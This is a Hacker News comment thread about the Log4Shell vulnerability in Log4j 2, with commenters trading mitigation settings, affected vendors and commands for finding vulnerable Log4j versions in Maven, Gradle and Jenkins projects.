In the end it doesn't really matter if you declare an environment variable that's never read, so you could define both if you're not sure which version of Log4J is used in your stack.

[1] https://logging.apache.org/log4j/1.2/

[2] https://logging.apache.org/log4j/2.x/

Old versions of ElasticSearch that people still use and Livy uses 1.x.

Replying to myself but I guess it's the second one.

https://github.com/apache/logging-log4j2/blob/04637dd9102175...

Confirmed. Its the "log4j2.formatMsgNoLookups" property. Source: https://logging.apache.org/log4j/2.x/security.html

Wouldn't this also be mitigated by better/stricter sandboxing? (specific network access, per app firewall etc)

Doesn't provide complete mitigation unless it's completely airgapped. You can for example exfiltrate information using DNS-lookups.

Strange the cheat-sheet does not list setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true as a mitigation, which supposedly works for log4j versions >=2.10.

as I understand, if we are running Java 8u121 this is not an issue... or is it?

that's what the CVE (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4422...) says:

> protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

As I understand it that prevents the RCE, but not other variants like leaking environment variables.

> other variants like leaking environment variables.

I'll google/search more about these. I assume if we say RCE is a 10 for risk, then maybe others are 5 or 3?

CORRECTION: apparently latest Java is also vulnerable: https://twitter.com/_MG_/status/1470452714203086851

It’s still an issue with current JDKs in certain environments (e.g. Tomcat), see https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj... and https://www.veracode.com/blog/research/exploiting-jndi-injec....

Also, 8u121 was an incomplete fix, the complete fix (still with limitations as noted above) is in 8u191 (see second link above).

I read the bug summary and I understand how one can trigger arbitrary JNDI lookups via Log4J. How this could lead to remote code execution?

By the way, does java.util.logging still suck enough to justify the existence of all these different logging frameworks?

Excellent writeup. Short, concise, and clear.

Are there any notable systems exploited by this besides minecraft?

Unifi systems is a pretty bad one

UBNT says the Unifi Network app is unaffected, but they are patching "out of an abundance of caution"... whatever that means.

you could probably fire a bullet in any direction and hit a company with hundreds of apps or appliances affected.

I recognize this probably isn't helpful on its face, but the best way to think of it is: if it's a Java app (or heck even possibly just an app running on the JVM) that uses the most recent major version (2.x before 2.15.0, the patch) of the most common logging logic, it's affected.

And that list in the enterprise space gets exceptionally long. Maybe not so much on client machines, but servers/etc absolutely.

Even companies not known for using Java for their own apps are probably relying on appliances or systems which run their own vulnerable Java apps.

There's also a tendency for a lot of Cybersecurity type software to use java and log4j. Things like SAML, SSO, code scanning, etc. I'm fighting a bit of schadenfreude watching all of those vendors furiously trying to get their stories together.

Many, many of them. See the gist posted in another comment: https://news.ycombinator.com/item?id=29543439

Though even that long list is missing many. I have lots of emails in my inbox from various software vendors that are NOT listed in that Gist.

It's probably easier to compile a list of software you use that uses java, then the short of those projects that DON'T use log4j.

It's still very early, we won't have breach notifications for a while since any attacks would have started in the last few weeks at the earliest, and most would have started last week.

It’s possible that it was exploited before the issue was widely discovered, right? I thought it had been in there for a while.

IIRC Cloudflare said the earliest they had seen this being exploited in the wild was very early December, but the volume went up after Friday.

It's entirely possible and it's still so early that we're still guessing. But so far some companies have come out to say that they've seen exploitation only as early as a few weeks ago.

Companies likely only started IR in the last week. Breach notifications, which only a minority of companies will bother to send out, will be a few weeks away at the earliest.

My ERP, PLM and MRO vendors are all still investigating.....

I suspect we'll be patching quickly before Christmas.

Kronos private cloud. Wouldn't be surprised to see disruption to UKG.

https://community.kronos.com/s/feed/0D54M00004wJCdJSAW?langu...

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970...

Optimizely A/B-tested it all away it seems...

Clone Git Repo... CTRL+F "log4j"... 0 results... (sigh of relief)... :|

"A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it. Log4j is a canonical logging utility for a huge ecosystem. Its current radius is beyond doing due diligence." - @rakyll (AWS)

Yeah - for example to determine if log4j is used in a maven project one would have to run "mvn dependency:tree | grep log4j".

Which I did today for our 60 microservices.

And also for projects deployed as war files - container server libraries also have to be checked.

you better hope one of your dependencies hasn't vendored it!

The key for me is to have a solid backup/disaster recovery plan in place and to first assess what rollback would entail and to verify that backup data is not corrupted. Rollback is more of a final (nuclear) option, but I always need to verify that it is an option...

Data loss from rollback is far better than total corruption (if it ever gets to that point, God forbid).

It also depends greatly on the availability needs for a system of course, but everyone has to be reasonable over things they can't pre-conceive or control in these types of situations because there's no way anything can operate flawlessly and without failure.

1. The Titanic

2. The Hindenburg

3. The AWS-East Service Outage This Month

Also found this link today -

https://support.lucidworks.com/hc/en-us/articles/44156492440...

I'm glad I couldn't get SOLR to work on indexing PDFs for a client project last year and I chose an alternate solution after reading it today...

I mitigated our SOLR install over the weekend. Best I could tell it wasn't logging queries by default so I couldn't get it to trigger. Adding an extra JVM arg to the opt list is a pretty standard SOLR thing to do, so I already have automated ways to update and push out configuration changes.

Ed: linked as "infoworld article" in TFA.

This article[1] probably seems like a bit of convenient self-promotion from Anchore - but the two tools grype and syft

https://github.com/anchore/grype

https://github.com/anchore/syft

Turned out to be very helpful in easily looking through folders, installed services (in particular an installed mobile device manager running on windows) and container images.

[1] https://www.infoworld.com/article/3644492/how-to-detect-the-...

Submitted to hn as: https://news.ycombinator.com/item?id=29543589 in case there's more discussion of tooling that might fit there.

It's probably worth refining it to `log4j-core`. `log4j-api` or various bridges like `log4j-to-slf4j` are not affected, but will show up in nearly any spring boot app.

Just for reference here's the posting that confirms such:

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-s...

Also worth noting this is not log4j 1, but log4j 2, like angular vs. angularjs. Version 2 is a backwards-incompatible rewrite with a different package structure, effectively a different product. Version 1 is unaffected by this mess.

The Maven enforcer plug-in lets you fail the build if you'd depend on it either directly or indirectly [1]. Note this wouldn't find shaded usages.

[1] https://twitter.com/gunnarmorling/status/1469603432269062146

Could it be you already are on Java 8u121? They say it:

> protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

I understand... The main point I'm addressing is whether an immediate A.O.R. will be in the line of "blowback", "compromise", and/or "fallout" with that statement.

It's fun to stay at the C.Y.A. :P

Can you parse this quote for me? I do not understand it.

Even if you don't use l4j in your project, you are likely to use something that uses it; a transient dependency.

Even if your code doesn't directly use Log4j, it's exceedingly likely that a library you use, or a library that uses does.

It means that even if your Java project doesn't directly use log4j as a dependency, nor mention it explicitly, it will be very likely included as a transitive dependency via other libs (and even logging frameworks!) that you use.

They didn't get my original statement because I'm a PHP dev (no compiling involved)... sigh

That being said, I do rely on containers, micro services, and other tools like Jenkins that will need eval.

We are a .NET shop and we are having to review some things regardless of not having any direct references to log4j or even any java source code.

Lots of developer tools happen to use Java - one immediate example we are investigating is Jenkins.

FWIW, Jenkins does not use Log4j. Some plugins may, and there's a quick way to determine if it does. Go to the script console, enter in "org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource" (without the quotes) and if it returns "groovy.lang.MissingPropertyException: No such property: org for class: Script1" then you are not affected.

See https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-4...

Correct - The plugins are the bit we are checking.

Really should run `mvn dependency:tree | grep log4j`

Some libs might shade log4j. You need to look for JndiLookup.class in all jars.

You can disregard a combination of log4j-api+log4j-over-slf4j (as is used by default by Spring Boot) since the actual vulnerability is not in the Log4j2 API, but rather in the actual logging implementation. So forwarding of the Log4j2 API via slf4j to logback is unaffected.

and if it's a gradle project `gradle -q dependencies | grep log4j`.

    mvn dependency:tree -Dverbose=true | grep log4j

Reply on news.ycombinator.com